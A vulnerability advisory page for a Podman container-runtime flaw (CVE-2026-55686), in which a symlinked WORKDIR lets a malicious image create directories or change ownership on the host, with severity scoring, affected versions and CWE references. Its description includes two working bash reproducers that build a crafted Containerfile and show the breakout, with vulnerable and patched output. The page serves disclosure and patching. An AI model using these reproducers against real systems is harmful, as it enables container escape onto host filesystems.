VulnerabilityPublished 18 Jun 2026Updated 3 Nov 2026

CVE-2026-55686: Podman · WORKDIR symlink traversal vulnerability

Affects github.com/containers/podman/v5Source GCVE Database

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Authoritative record:CVE-2026-55686· Medium 5.3

Not known to be exploited · CVSS 5.3 Medium : upgrade to 5.7.1 when convenient.

Data as of 3 Nov 2026, 20:31 UTC

CVSS 3.1 base score

5.3Medium

How severe the flaw is on the 0–10 CVSS scale.

Patch: Available – fixed in 5.7.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality: None
Integrity: Low
Availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: None: There is no loss of confidentiality within the impacted component.
Integrity: Low: Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact on the impacted component.
Availability: None: There is no impact to availability within the impacted component.

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 26 Jun 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 3 Nov 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade github.com/containers/podman/v5 to 5.7.1.

Affected software

Product	Affected	Fixed in
Gogithub.com/containers/podman/v5	Affected <5.7.1	Fixed in 5.7.1
Gogithub.com/containers/podman/v4	Affected <=4.9.5	Fixed in–
Gogithub.com/containers/podman/v3	Affected <=3.4.7	Fixed in–

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary Running a malicous container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition. ### Patch https://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0 ### Details This issue was fixed in podman 5.7.1 (git commit 7ce2e00ab140c11a68301f0b161f51984131a858) ### PoC The reproducer script _test1.bash_ demonstrates the vulnerability. The directory `/var/BREAKOUT` is created on the host. The container process uses the container directory `/var/BREAKOUT` as current working directory. The reproducer script _test2.bash_ demonstrates the same vulnerability. The directory `/var/BREAKOUT` is created on the host. The container process uses the container directory `/usr/local` as current working directory. The reproducer script _test2.bash_ shows that the working directory can be different from the breakout directory. Reproducer **test1.bash** ``` #!/bin/bash set -o errexit set -o nounset if [ -e /var/BREAKOUT ]; then echo error: path /var/BREAKOUT should not exist beforehand exit 1 fi dir=$(mktemp -d) cat > $dir/Containerfile << 'EOF' FROM docker.io/library/alpine RUN cd / && ln -s ../../../../../../../var symlink USER 1234:1234 WORKDIR /symlink/BREAKOUT CMD ["/bin/sh","-c","echo current working directory: $(pwd)"] EOF podman build -q --no-cache -t img $dir podman run --rm localhost/img ls -ld /var/BREAKOUT ``` Reproducer **test2.bash** ``` #!/bin/bash set -o errexit set -o nounset if [ -e /var/BREAKOUT ]; then echo error: path /var/BREAKOUT should not exist beforehand exit 1 fi dir=$(mktemp -d) cat > $dir/Containerfile << 'EOF' FROM docker.io/library/alpine ARG breakout_dirname=/var ARG breakout_basename=BREAKOUT ARG produce_pwd=/usr/local RUN mkdir -p /0/1/2/3 && \ cd /0 && \ ln -s 1/2/3 symlink1 && \ mkdir -p /0/1/symlink2/${breakout_dirname} && \ cd /0/1/symlink2/${breakout_dirname} && \ ln -s ${produce_pwd} ${breakout_basename} RUN cd / && ln -s ../../../../../../.. symlink2 USER 1234:1234 WORKDIR /0/symlink1/../../symlink2/${breakout_dirname}/${breakout_basename} CMD ["/bin/sh","-c","echo current working directory: $(pwd)"] EOF podman build -q --no-cache -t img $dir podman run --rm localhost/img ls -ld /var/BREAKOUT ``` Vulnerable: podman 5.7.0 using Fedora CoreOS 43.20251120.3.0 ``` root@localhost:~# bash test1.bash 38c27b69c61941741f49c3f87b589b422391d5908659665cabf248934be0ed80 current working directory: /var/BREAKOUT drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT root@localhost:~# rmdir /var/BREAKOUT/ root@localhost:~# bash test2.bash c3390edbe393a3f3b182e60c5900cf93444b5120fbe34dc305478b3b77a106c9 current working directory: /usr/local drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT ``` Not vulnerable: podman 5.7.1 using Fedora CoreOS 43.20260119.1.1 ``` root@localhost:~# bash test1.bash 0229bf752a821d5b9bb8afcf4b94e8de2a4838798ae8065414b7f939b81d0788 current working directory: /var/BREAKOUT ls: cannot access '/var/BREAKOUT': No such file or directory root@localhost:~# bash test2.bash 568584150a93a003feb8ae1985173bf50ced9cba4d52f9734cb70dc75eeb7c60 current working directory: /usr/local ls: cannot access '/var/BREAKOUT': No such file or directory ``` ### Credits We like to thank Erik Sjölund (@eriksjolund) for reporting the security impact to us.

CWE-59Improper Link Resolution Before File Access (Link Following) (opens in a new tab)
Base weaknessLikelihood of exploit: MediumOWASP Top 10 A01:2025: Broken Access Control (opens in a new tab)
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
Architecture and Design · Separation of Privilege
Follow the principle of least privilege when assigning access rights to entities in a software system.
OWASP Cheat Sheets
Authorization (opens in a new tab)
Attack patterns
Symlink Attack (opens in a new tab)
Using Malicious Files (opens in a new tab)
Leverage Executable Code in Non-Executable Files (opens in a new tab)
Manipulating Web Input to File System Calls (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).
CWE-61UNIX Symbolic Link (Symlink) Following (opens in a new tab)
Compound weaknessLikelihood of exploit: HighOWASP Top 10 A01:2025: Broken Access Control (opens in a new tab)
The product, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files.
Implementation
Symbolic link attacks often occur when a program creates a tmp directory that stores files/links. Access to the directory should be restricted to the program as to prevent attackers from manipulating the files.
Architecture and Design · Separation of Privilege
Follow the principle of least privilege when assigning access rights to entities in a software system.
OWASP Cheat Sheets
Authorization (opens in a new tab)
Attack patterns
Leveraging Race Conditions via Symbolic Links (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

References

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Exploitation evidence

What to do

Affected software

Description

WeaknessesCWE-59, CWE-61

Technical details

References

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